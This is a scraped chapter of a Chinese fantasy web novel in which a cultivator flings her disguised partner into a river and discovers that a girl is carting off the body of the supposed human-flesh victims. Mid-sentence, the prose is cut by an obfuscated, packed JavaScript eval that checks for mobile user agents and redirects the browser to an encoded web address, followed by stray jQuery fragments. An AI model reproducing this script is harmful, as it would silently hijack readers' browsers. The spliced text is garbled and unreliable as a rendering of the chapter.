23.他想,是她

作品:《叮咚!请查收系统任务

    “你是不是在想怎么才能悄无声息的杀了我?”


    ?


    他是会读心术吗?


    “我不会读心术,只是你的表情毫不遮掩,我又不是瞎子,自然看得出来。”


    孟玉楼要不是抽不开手,她真想一把捂住他的嘴叫他别说了。


    这都被发现了,还怎么杀。


    即便溪辞身受重伤,护住他心脉的那道金光仍能暂时保他不死。更何况,他体内已与神兽天禄融为一体,若真到了濒死之际,天禄之力必会显现,令他化出原形。


    就凭孟玉楼如今这副不稳定的身躯和筑基巅峰的修为,她想都不用想。


    毫无胜算可言。


    “李不二,你胡说什么!我好心好意想喂你丹药,你倒好,狗咬吕洞宾,不识好歹!”


    孟玉楼话音未落,指节上的空间戒指微微一闪,一颗圆润饱满、散发着淡淡荧光的丹药便浮现在溪辞面前。


    她努了努嘴,示意他吞下去。


    怀中的男人用着她着实谈不上喜欢的一副面孔轻轻瞥了一眼,随即闭上了眼睛,一副懒得搭理她、更不打算吃下这颗丹药的模样。


    孟玉楼不想与他多费口舌,托住他背部的手猛然一拧,指尖狠狠掐住他的一块肉。


    溪辞猝不及防,痛得闷哼一声,下意识张开了嘴。


    那颗丹药瞅准时机,顺势滑入他的唇间,顺着喉咙滚落腹中。


    顷刻间,一股温润浑厚的灵力在他体内化开,如暖流般蔓延至四肢百骸。


    如今他二人战线统一,且溪辞实力尚可,经过方才那一番变故,孟玉楼内心隐隐不安,她摸不透此事牵扯的背后之人能力如何,在查清真相之前,他还不能死。


    许是气急,那双碧玉般的眸子再度浮现在秦婉那张脸上,孟玉楼怎么看怎么别扭,总觉得像是把璀璨的祖母绿镶在了顽石上,生生折了宝石的辉光。


    她索性不再多看,专心盯着前方的路,嘴上却闲不住,生怕刚才那一出让他记恨在心,影响了两人本就脆弱的合作关系。于是,她生硬地开口问道:“刚才我把你按在原地,害你挨了戴玉轩一剑,你不会怪我吧?”


    没等他回答,她又自顾自地补充道:“当然,你确实该怪我。但我也是迫不得已。那怪物来历不明,如果我们当时轻举妄动,岂不是前功尽弃,打草惊蛇?”


    “我早就料到你不会死,若这怪物当真是按传言所说,非要杀死新嫁娘才能攫取力量,那幕后之人怎会用护体金光保你性命?”


    “这获取力量的关键应该在于刺伤那怪物,那背后主谋埋在他身体的力量便会溢出,变成无主之物,自然会钻进在场所有人的身体里。”


    “至于传言中所说,必须献祭新嫁娘才能获取力量,如果我猜想不错,不过是钓鱼的饵料罢了,世人总要割肉见血才信天上真会掉馅饼,等他们捧着那点染血的甜头,早就是咬住钩的鱼了。”


    孟玉楼正沉浸在自己的思绪中,全然未察觉溪辞何时睁开了眼。直到他的声音传入耳中,她才猛然回神,下意识问道:“你刚才说什么?”


    “你为何笃定我不会死?在护体金光出现之前,你凭什么确信我不会死?”


    糟糕!这我怎么解释?


    说我知晓他与神兽天禄共生,心脏位置与常人不同,略微偏右?


    这不是自爆马甲??!


    孟玉楼平视前方,语气平淡:“你可是这届新弟子的黑马选手,我江大山认定的可以匹敌的对手,我的眼光,没那么差。”


    眼前河水汹涌,湍急的水流拍打着两岸,发出震耳的轰鸣。她微微倾身,朝下望去,只见河水深不见底,浪涛翻卷,激起一片片白色的泡沫。


    她不知道是否真如易文星所说,这河中有食人鱼群。


    或者,还有更危险的东西在暗处蛰伏。


    她正要将溪辞放下,却听怀中传来一声嗤笑:“可以匹敌的对手?”


    孟玉楼懒得搭理他,无非是这人自尊心又在作祟,觉得她这等“小人物”不配与他相提并论。


    她毫不客气地俯身,手脚粗鲁地将溪辞往地上一扔。


    “砰——”一声闷响,“娇软的女子”重重摔在黄沙地上,尘土飞扬,一身红嫁衣脏的像是在泥土中滚了一圈。


    “咳咳!江大山,你做什么?”


    孟玉楼视若无睹,径直从戒指中掏出一个铃铛模样的物件塞到他手中,同时把另一个一模一样的铃铛系在自己腰间。


    “这是护体罩,能让你在水下免遭鱼虾龟鳖之类的啃咬。”孟玉楼晃了晃腰间的铃铛,“哦,对了!”她忽然想起什么似的,补充道,“这玩意儿是个半成品,时灵时不灵的。要是碰上食人鱼,大概能撑个几口气吧。”


    她咧嘴一笑:“不过你放心,这两个铃铛是一对,除了护体,还能定位。你要是真出了什么事——”她拖长了音调,眼中闪过一丝狡黠,“我会去找你的。”


    溪辞坐在地上,一条腿随意伸展,另一条腿屈起,手肘搭在膝上,指尖正漫不经心地拨弄着那枚铃铛。孟玉楼忽然想起,他似乎也曾有过一枚铃铛,是某个心爱之人所赠。


    她俯身一把夺过他手中的铃铛,利落地系在他腰间,随即揪住他的衣襟,猛地将他拉近。溪辞猝不及防,碧绿色的瞳孔骤然收缩,似是被她突如其来的靠近吓了一跳。


    孟玉楼凝视着那双碧绿的眼眸,神情是从未有过的凝重,沉声道:“李不二,之前那些不过是前戏,真正的重头戏,现在才要开始。”


    话音未落,她拽住他衣襟的手臂猛然发力,将他直接从崖边甩了下去。


    身体急速下坠,耳畔风声呼啸,可溪辞却仿佛听不见任何声音。


    他的目光紧紧锁定在崖顶,那人竟也纵身一跃,紧随其后。两人的距离不过几个身位,她的发丝在风中散开,遮住了面容,令他看不清她的神情。


    在坠入冰冷河水中的那一刻,脑海中那双眼底泛着金色的眸子越发清晰。


    他想,是她。


    ......


    水流湍急,裹挟着泥沙的河水猛烈地冲击她的全身,她强忍着刺痛试图睁开双眼,想要辨清河水的流向,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093230|160883||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却被一波又一波的激流打得眼眶生疼。


    不知过了多久,水流缓和了些,孟玉楼双腿猛地一蹬,只露出一双眼睛。


    河流起伏间,她看清了那抹红色的身影飘在不远处,被一大堆草垛挡住去路,脸朝下,与她同样起起伏伏的飘在水面上。


    这堆草垛扎实紧密,用绳子捆的紧紧的,因此在河流的冲刷下仍未散开,像一堵坚实的墙,稳稳地矗立在河水中,足以挡住一个成年人的身躯。


    她猜得不错,果然,重头戏现在才开始。


    孟玉楼等了许久都未见有人来捞尸,溪辞仍旧面朝下,整个口鼻都浸在水里。


    他不会是死了吧。


    许是河水冰冷,反而叫她的身体内像是燃起了一团火,微微发烫,连带着头脑都有些躁动。


    “哗啦”一声,孟玉楼起身正要蹚水过去探他鼻息,便看到一根木棍重重砸在他的身上。


    这没被淹死,都要被砸死了!


    浮在水面上的嫁衣女子半点反应也无,砸到溪辞身上的那端木棍上挂着铁钩,深深嵌入血肉之中,另一端不知道被什么人拿着。


    孟玉楼的视线被一块石头挡住,她看不见那人,那人也看不见她。


    持棍之人像是有些吃力,拖着木棍另一头拽了半天才勉强将溪辞扯到岸边。他的下半身仍然浸在水里,她等了好一会,也不见那人再有动作,便悄悄沉入水中,缓慢向岸边靠近。


    当指尖触到河底松软的泥土时,她屏住呼吸,缓缓上浮,此时,她距离那人极近,二人相隔不到十米,但由于孟玉楼在他侧边,且身前的岸边有一块巨石遮挡,所以并未被他发现。


    她看清了那人的样貌。


    那男人,不,应该说是那少年,


    他瘫坐在地上,张着嘴大口大口喘着气,身上穿着一件洗得发白的粗布衣裳,头上裹着同色系的头巾,层层叠叠地缠绕了好几圈,本应光滑圆润的脸蛋却粗糙黝黑,脸颊两侧泛着不自然的红晕。


    孟玉楼已绑定临永郡全体镇民,她不记得有这样年岁的少年,说起来,有个从未完成任务的少女,年纪与他相仿,十一岁,叫喻奕奕。


    孟玉楼心中一沉,“小咩。”


    “系统大人,我在。”


    “绑定者信息是否可能作假?”


    “绑定者信息均为真实信息,不可能作假。”


    既如此,那此人应是喻奕奕无疑。


    孟玉楼识海阵阵发痛,她揉了揉额角,突然想起来一件事,一件因为过于恶心令她下意识不愿记起的事。


    那盒子中鲜艳欲滴纹理清晰的生肉,究竟是什么?


    喻奕奕似乎缓过了一口气,她扯着溪辞的双臂费力地将他拖到一旁的板车上。随后,将缰绳绕在自己的肩头,颤颤巍巍地拖着板车,一步步向林子深处挪去。


    嫁衣那宽大的裙摆从板车边缘垂落,拖在地上,随着前行渐渐沾满了泥土和枯叶,孟玉楼脑海中突然蹦出一个词。


    人肉。


    那是人肉。


    那是那些“新嫁娘”的内脏。